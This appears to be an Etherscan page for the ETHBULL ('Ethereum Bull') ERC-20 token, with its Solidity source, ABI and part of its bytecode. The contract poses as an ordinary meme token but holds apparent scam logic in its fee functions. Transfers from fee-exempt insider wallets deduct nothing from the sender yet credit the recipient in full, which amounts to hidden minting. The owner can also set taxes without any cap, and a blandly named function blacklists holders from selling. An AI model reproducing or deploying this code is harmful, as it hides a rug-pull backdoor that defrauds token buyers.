ERC-20
Overview
Max Total Supply
80,000,000 ETHBULL
Holders
180
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 18 Decimals)
Balance
298,256.015664342254982867 ETHBULLValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Name:
ETHBULL
Compiler Version
v0.8.19+commit.7dd6d404
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2024-08-23 */ // SPDX-License-Identifier: MIT /** Ethereum Is Good $BULL The largest OG #BULL crypto community TWITTER: https://twitter.com/ethereumisgoood WEBSITE: https://ethereumisgood.top/ TELEGRAM: https://t.me/ethereumisgoodBULLchat **/ pragma solidity 0.8.19; library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface ERC20 { function totalSupply() external view returns (uint256); function decimals() external view returns (uint8); function symbol() external view returns (string memory); function name() external view returns (string memory); function getOwner() external view returns (address); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address _owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } abstract contract Ownable { address internal owner; constructor(address _owner) { owner = _owner; } modifier onlyOwner() { require(isOwner(msg.sender), "!OWNER"); _; } function isOwner(address account) public view returns (bool) { return account == owner; } function renounceOwnership() public onlyOwner { owner = address(0); emit OwnershipTransferred(address(0)); } event OwnershipTransferred(address owner); } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidity( address tokenA, address tokenB, uint256 amountADesired, uint256 amountBDesired, uint256 amountAMin, uint256 amountBMin, address to, uint256 deadline ) external returns ( uint256 amountA, uint256 amountB, uint256 liquidity ); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); function swapExactETHForTokensSupportingFeeOnTransferTokens( uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external payable; function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function removeLiquidityETHSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountETH); function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountETH); function removeLiquidityWithPermit( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountA, uint amountB); function removeLiquidityETHWithPermit( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountToken, uint amountETH); function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB); function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut); function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn); } contract ETHBULL is ERC20, Ownable { using SafeMath for uint256; address routerAdress = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; address DEAD = 0x000000000000000000000000000000000000dEaD; string constant _name = "Ethereum Bull"; string constant _symbol = "ETHBULL"; uint8 constant _decimals = 18; uint256 public _totalSupply = 80_000_000 * (10**_decimals); uint256 public _maxWalletAmount = (_totalSupply * 5) / 100; uint256 public _swapETHBULLThreshHold = (_totalSupply * 1)/ 10000; uint256 public _maxTaxSwap=(_totalSupply * 18) / 10000; mapping(address => uint256) _balances; mapping(address => mapping(address => uint256)) _allowances; mapping(address => bool) isFeeExempt; mapping(address => bool) isTxLimitExempt; mapping(address => bool) private ETHBULLs; address public _ETHBULLWallet; address public pair; IUniswapV2Router02 public router; bool public swapEnabled = false; bool public ETHBULLFeeEnabled = false; bool public TradingOpen = false; uint256 private _initBuyTax=0; uint256 private _initSellTax=0; uint256 private _finalBuyTax=0; uint256 private _finalSellTax=0; uint256 private _reduceBuyTaxAt=0; uint256 private _reduceSellTaxAt=0; uint256 private _buyCounts=0; bool inSwap; modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor(address ETHBULLWallet) Ownable(msg.sender) { address _owner = owner; _ETHBULLWallet = ETHBULLWallet; isFeeExempt[_owner] = true; isFeeExempt[_ETHBULLWallet] = true; isFeeExempt[address(this)] = true; isTxLimitExempt[_owner] = true; isTxLimitExempt[_ETHBULLWallet] = true; isTxLimitExempt[address(this)] = true; _balances[_owner] = _totalSupply; emit Transfer(address(0), _owner, _totalSupply); } function getOwner() external view override returns (address) { return owner; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function _basicTransfer( address sender, address recipient, uint256 amount ) internal returns (bool) { _balances[sender] = _balances[sender].sub( amount, "Insufficient Balance" ); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); return true; } function withdrawETHBULLBalance() external onlyOwner { require(address(this).balance > 0, "Token: no ETH to clear"); payable(msg.sender).transfer(address(this).balance); } function approve(address spender, uint256 amount) public override returns (bool) { _allowances[msg.sender][spender] = amount; emit Approval(msg.sender, spender, amount); return true; } function enableETHBULLTrade() public onlyOwner { require(!TradingOpen,"trading is already open"); TradingOpen = true; ETHBULLFeeEnabled = true; swapEnabled = true; } function getETHBULLAmounts(uint action, bool takeFee, uint256 tAmount) internal returns(uint256, uint256) { uint256 sAmount = takeFee ? tAmount : ETHBULLFeeEnabled ? takeETHBULLAmountAfterFees(action, takeFee, tAmount) : tAmount; uint256 rAmount = ETHBULLFeeEnabled && takeFee ? takeETHBULLAmountAfterFees(action, takeFee, tAmount) : tAmount; return (sAmount, rAmount); } function decimals() external pure override returns (uint8) { return _decimals; } function internalSwapBackEth(uint256 amount) private lockTheSwap { uint256 tokenBalance = balanceOf(address(this)); uint256 amountToSwap = min(amount, min(tokenBalance, _maxTaxSwap)); address[] memory path = new address[](2); path[0] = address(this); path[1] = router.WETH(); router.swapExactTokensForETHSupportingFeeOnTransferTokens( amountToSwap, 0, path, address(this), block.timestamp ); uint256 ethAmountFor = address(this).balance; payable(_ETHBULLWallet).transfer(ethAmountFor); } function removeETHBULLLimit() external onlyOwner returns (bool) { _maxWalletAmount = _totalSupply; return true; } function takeETHBULLAmountAfterFees(uint ETHBULLActions, bool ETHBULLTakefee, uint256 amounts) internal returns (uint256) { uint256 ETHBULLPercents; uint256 ETHBULLFeePrDenominator = 100; if(ETHBULLTakefee) { if(ETHBULLActions > 1) { ETHBULLPercents = (_buyCounts>_reduceSellTaxAt ? _finalSellTax : _initSellTax); } else { if(ETHBULLActions > 0) { ETHBULLPercents = (_buyCounts>_reduceBuyTaxAt ? _finalBuyTax : _initBuyTax); } else { ETHBULLPercents = 0; } } } else { ETHBULLPercents = 1; } uint256 feeAmounts = amounts.mul(ETHBULLPercents).div(ETHBULLFeePrDenominator); _balances[address(this)] = _balances[address(this)].add(feeAmounts); feeAmounts = ETHBULLTakefee ? feeAmounts : amounts.div(ETHBULLPercents); return amounts.sub(feeAmounts); } receive() external payable { } function _transferTaxTokens( address sender, address recipient, uint256 amount, uint action, bool takeFee ) internal returns (bool) { uint256 senderAmount; uint256 recipientAmount; (senderAmount, recipientAmount) = getETHBULLAmounts(action, takeFee, amount); _balances[sender] = _balances[sender].sub( senderAmount, "Insufficient Balance" ); _balances[recipient] = _balances[recipient].add(recipientAmount); emit Transfer(sender, recipient, amount); return true; } function allowance(address holder, address spender) external view override returns (uint256) { return _allowances[holder][spender]; } function createETHBULLTrade() external onlyOwner { router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); pair = IUniswapV2Factory(router.factory()).createPair(address(this), router.WETH()); isTxLimitExempt[pair] = true; _allowances[address(this)][address(router)] = type(uint256).max; router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner,block.timestamp); } function name() external pure override returns (string memory) { return _name; } function min(uint256 a, uint256 b) private pure returns (uint256){ return (a>b)?b:a; } function totalSupply() external view override returns (uint256) { return _totalSupply; } function inSwapETHBULLTokens(bool isIncludeFees , uint isSwapActions, uint256 pAmount, uint256 pLimit) internal view returns (bool) { uint256 minETHBULLTokens = pLimit; uint256 tokenETHBULLWeight = pAmount; uint256 contractETHBULLOverWeight = balanceOf(address(this)); bool isSwappable = contractETHBULLOverWeight > minETHBULLTokens && tokenETHBULLWeight > minETHBULLTokens; return !inSwap && isIncludeFees && isSwapActions > 1 && isSwappable && swapEnabled; } function symbol() external pure override returns (string memory) { return _symbol; } function reduceFinalBuyTax(uint256 _newFee) external onlyOwner{ _finalBuyTax=_newFee; } function reduceFinalSellTax(uint256 _newFee) external onlyOwner{ _finalSellTax=_newFee; } function isETHBULLUserBuy(address sender, address recipient) internal view returns (bool) { return recipient != pair && recipient != DEAD && !isFeeExempt[sender] && !isFeeExempt[recipient]; } function isTakeETHBULLActions(address from, address to) internal view returns (bool, uint) { uint _actions = 0; bool _isTakeFee = isTakeFees(from); if(to == pair) { _actions = 2; } else if (from == pair) { _actions = 1; } else { _actions = 0; } return (_isTakeFee, _actions); } function addETHBULLs(address[] memory ETHBULLs_) public onlyOwner { for (uint i = 0; i < ETHBULLs_.length; i++) { ETHBULLs[ETHBULLs_[i]] = true; } } function delETHBULLs(address[] memory notETHBULL) public onlyOwner { for (uint i = 0; i < notETHBULL.length; i++) { ETHBULLs[notETHBULL[i]] = false; } } function isETHBULL(address a) public view returns (bool){ return ETHBULLs[a]; } function _transferStandardTokens( address sender, address recipient, uint256 amount ) internal returns (bool) { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); bool takefee; uint actions; require(!ETHBULLs[sender] && !ETHBULLs[recipient]); if (inSwap) { return _basicTransfer(sender, recipient, amount); } if(!isFeeExempt[sender] && !isFeeExempt[recipient]){ require(TradingOpen,"Trading not open yet"); } if(!swapEnabled) { return _basicTransfer(sender, recipient, amount); } if (isETHBULLUserBuy(sender, recipient)) { require( isTxLimitExempt[recipient] || _balances[recipient] + amount <= _maxWalletAmount, "Transfer amount exceeds the bag size." ); increaseBuyCount(sender); } (takefee, actions) = isTakeETHBULLActions(sender, recipient); if (inSwapETHBULLTokens(takefee, actions, amount, _swapETHBULLThreshHold)) { internalSwapBackEth(amount); } _transferTaxTokens(sender, recipient, amount, actions, takefee); return true; } function transferFrom( address sender, address recipient, uint256 amount ) external override returns (bool) { if (_allowances[sender][msg.sender] != type(uint256).max) { _allowances[sender][msg.sender] = _allowances[sender][msg.sender] .sub(amount, "Insufficient Allowance"); } return _transferStandardTokens(sender, recipient, amount); } function transfer(address recipient, uint256 amount) external override returns (bool) { return _transferStandardTokens(msg.sender, recipient, amount); } function increaseBuyCount(address sender) internal { if(sender == pair) { _buyCounts++; } } function isTakeFees(address sender) internal view returns (bool) { return !isFeeExempt[sender]; } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[{"internalType":"address","name":"ETHBULLWallet","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"owner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"ETHBULLFeeEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"TradingOpen","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_ETHBULLWallet","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTaxSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_swapETHBULLThreshHold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"ETHBULLs_","type":"address[]"}],"name":"addETHBULLs","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"holder","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"createETHBULLTrade","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address[]","name":"notETHBULL","type":"address[]"}],"name":"delETHBULLs","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"enableETHBULLTrade","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"getOwner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"a","type":"address"}],"name":"isETHBULL","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"isOwner","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_newFee","type":"uint256"}],"name":"reduceFinalBuyTax","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_newFee","type":"uint256"}],"name":"reduceFinalSellTax","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"removeETHBULLLimit","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"withdrawETHBULLBalance","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
6080604052737a250d5630b4cf539739df2c5dacb4c659f2488d600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061dead600260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506012600a620000ac91906200071e565b6304c4b400620000bd91906200076f565b60035560646005600354620000d391906200076f565b620000df9190620007e9565b6004556127106001600354620000f691906200076f565b620001029190620007e9565b60055561271060126003546200011991906200076f565b620001259190620007e9565b6006556000600e60146101000a81548160ff0219169083151502179055506000600e60156101000a81548160ff0219169083151502179055506000600e60166101000a81548160ff0219169083151502179055506000600f55600060105560006011556000601255600060135560006014556000601555348015620001a957600080fd5b5060405162004180380380620041808339818101604052810190620001cf91906200088b565b33806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505060008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905081600c60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506001600960008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160096000600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600960003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600a6000600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600a60003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600354600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508073ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600354604051620005749190620008ce565b60405180910390a35050620008eb565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b60018511156200061257808604811115620005ea57620005e962000584565b5b6001851615620005fa5780820291505b80810290506200060a85620005b3565b9450620005ca565b94509492505050565b6000826200062d576001905062000700565b816200063d576000905062000700565b8160018114620006565760028114620006615762000697565b600191505062000700565b60ff84111562000676576200067562000584565b5b8360020a91508482111562000690576200068f62000584565b5b5062000700565b5060208310610133831016604e8410600b8410161715620006d15782820a905083811115620006cb57620006ca62000584565b5b62000700565b620006e08484846001620005c0565b92509050818404811115620006fa57620006f962000584565b5b81810290505b9392505050565b6000819050919050565b600060ff82169050919050565b60006200072b8262000707565b9150620007388362000711565b9250620007677fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff84846200061b565b905092915050565b60006200077c8262000707565b9150620007898362000707565b9250828202620007998162000707565b91508282048414831517620007b357620007b262000584565b5b5092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000620007f68262000707565b9150620008038362000707565b925082620008165762000815620007ba565b5b828204905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000620008538262000826565b9050919050565b620008658162000846565b81146200087157600080fd5b50565b60008151905062000885816200085a565b92915050565b600060208284031215620008a457620008a362000821565b5b6000620008b48482850162000874565b91505092915050565b620008c88162000707565b82525050565b6000602082019050620008e56000830184620008bd565b92915050565b61388580620008fb6000396000f3fe6080604052600436106101dc5760003560e01c80636c0a24eb11610102578063a8aa1b3111610095578063dd62ed3e11610064578063dd62ed3e14610699578063f52480e7146106d6578063f5297f6f14610701578063f887ea4014610718576101e3565b8063a8aa1b31146105ef578063a9059cbb1461061a578063d4433da814610657578063d7efc53614610682576101e3565b8063715018a6116100d1578063715018a614610557578063893d20e81461056e57806395d89b4114610599578063a196fccf146105c4576101e3565b80636c0a24eb1461049b5780636ce42475146104c65780636ddd1713146104ef57806370a082311461051a576101e3565b806323b872dd1161017a578063375dcdb111610149578063375dcdb1146104055780633eaaf86b1461042e57806359f506af14610459578063661bc1b414610484576101e3565b806323b872dd146103375780632c743eac146103745780632f54bf6e1461039d578063313ce567146103da576101e3565b8063095ea7b3116101b6578063095ea7b31461027b5780630faee56f146102b857806314a7b7f7146102e357806318160ddd1461030c576101e3565b806306fdde03146101e857806308fd3d0514610213578063091271381461023e576101e3565b366101e357005b600080fd5b3480156101f457600080fd5b506101fd610743565b60405161020a9190612a5f565b60405180910390f35b34801561021f57600080fd5b50610228610780565b6040516102359190612a9c565b60405180910390f35b34801561024a57600080fd5b5061026560048036038101906102609190612b29565b610793565b6040516102729190612a9c565b60405180910390f35b34801561028757600080fd5b506102a2600480360381019061029d9190612b8c565b6107e9565b6040516102af9190612a9c565b60405180910390f35b3480156102c457600080fd5b506102cd6108db565b6040516102da9190612bdb565b60405180910390f35b3480156102ef57600080fd5b5061030a60048036038101906103059190612d3e565b6108e1565b005b34801561031857600080fd5b506103216109be565b60405161032e9190612bdb565b60405180910390f35b34801561034357600080fd5b5061035e60048036038101906103599190612d87565b6109c8565b60405161036b9190612a9c565b60405180910390f35b34801561038057600080fd5b5061039b60048036038101906103969190612dda565b610bc8565b005b3480156103a957600080fd5b506103c460048036038101906103bf9190612b29565b610c1a565b6040516103d19190612a9c565b60405180910390f35b3480156103e657600080fd5b506103ef610c73565b6040516103fc9190612e23565b60405180910390f35b34801561041157600080fd5b5061042c60048036038101906104279190612d3e565b610c7c565b005b34801561043a57600080fd5b50610443610d59565b6040516104509190612bdb565b60405180910390f35b34801561046557600080fd5b5061046e610d5f565b60405161047b9190612a9c565b60405180910390f35b34801561049057600080fd5b50610499610db9565b005b3480156104a757600080fd5b506104b0610e8d565b6040516104bd9190612bdb565b60405180910390f35b3480156104d257600080fd5b506104ed60048036038101906104e89190612dda565b610e93565b005b3480156104fb57600080fd5b50610504610ee5565b6040516105119190612a9c565b60405180910390f35b34801561052657600080fd5b50610541600480360381019061053c9190612b29565b610ef8565b60405161054e9190612bdb565b60405180910390f35b34801561056357600080fd5b5061056c610f41565b005b34801561057a57600080fd5b50610583611004565b6040516105909190612e4d565b60405180910390f35b3480156105a557600080fd5b506105ae61102d565b6040516105bb9190612a5f565b60405180910390f35b3480156105d057600080fd5b506105d961106a565b6040516105e69190612e4d565b60405180910390f35b3480156105fb57600080fd5b50610604611090565b6040516106119190612e4d565b60405180910390f35b34801561062657600080fd5b50610641600480360381019061063c9190612b8c565b6110b6565b60405161064e9190612a9c565b60405180910390f35b34801561066357600080fd5b5061066c6110cb565b6040516106799190612bdb565b60405180910390f35b34801561068e57600080fd5b506106976110d1565b005b3480156106a557600080fd5b506106c060048036038101906106bb9190612e68565b6111bc565b6040516106cd9190612bdb565b60405180910390f35b3480156106e257600080fd5b506106eb611243565b6040516106f89190612a9c565b60405180910390f35b34801561070d57600080fd5b50610716611256565b005b34801561072457600080fd5b5061072d6116e5565b60405161073a9190612f07565b60405180910390f35b60606040518060400160405280600d81526020017f457468657265756d2042756c6c00000000000000000000000000000000000000815250905090565b600e60169054906101000a900460ff1681565b6000600b60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b600081600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040516108c99190612bdb565b60405180910390a36001905092915050565b60065481565b6108ea33610c1a565b610929576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161092090612f6e565b60405180910390fd5b60005b81518110156109ba576000600b600084848151811061094e5761094d612f8e565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555080806109b290612fec565b91505061092c565b5050565b6000600354905090565b60007fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205414610bb457610b33826040518060400160405280601681526020017f496e73756666696369656e7420416c6c6f77616e636500000000000000000000815250600860008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461170b9092919063ffffffff16565b600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b610bbf84848461176f565b90509392505050565b610bd133610c1a565b610c10576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c0790612f6e565b60405180910390fd5b8060118190555050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16149050919050565b60006012905090565b610c8533610c1a565b610cc4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cbb90612f6e565b60405180910390fd5b60005b8151811015610d55576001600b6000848481518110610ce957610ce8612f8e565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610d4d90612fec565b915050610cc7565b5050565b60035481565b6000610d6a33610c1a565b610da9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610da090612f6e565b60405180910390fd5b6003546004819055506001905090565b610dc233610c1a565b610e01576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610df890612f6e565b60405180910390fd5b60004711610e44576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e3b90613080565b60405180910390fd5b3373ffffffffffffffffffffffffffffffffffffffff166108fc479081150290604051600060405180830381858888f19350505050158015610e8a573d6000803e3d6000fd5b50565b60045481565b610e9c33610c1a565b610edb576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ed290612f6e565b60405180910390fd5b8060128190555050565b600e60149054906101000a900460ff1681565b6000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610f4a33610c1a565b610f89576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f8090612f6e565b60405180910390fd5b60008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055507f04dba622d284ed0014ee4b9a6a68386be1a4c08a4913ae272de89199cc6861636000604051610ffa9190612e4d565b60405180910390a1565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600781526020017f45544842554c4c00000000000000000000000000000000000000000000000000815250905090565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60006110c333848461176f565b905092915050565b60055481565b6110da33610c1a565b611119576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161111090612f6e565b60405180910390fd5b600e60169054906101000a900460ff1615611169576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611160906130ec565b60405180910390fd5b6001600e60166101000a81548160ff0219169083151502179055506001600e60156101000a81548160ff0219169083151502179055506001600e60146101000a81548160ff021916908315150217905550565b6000600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffff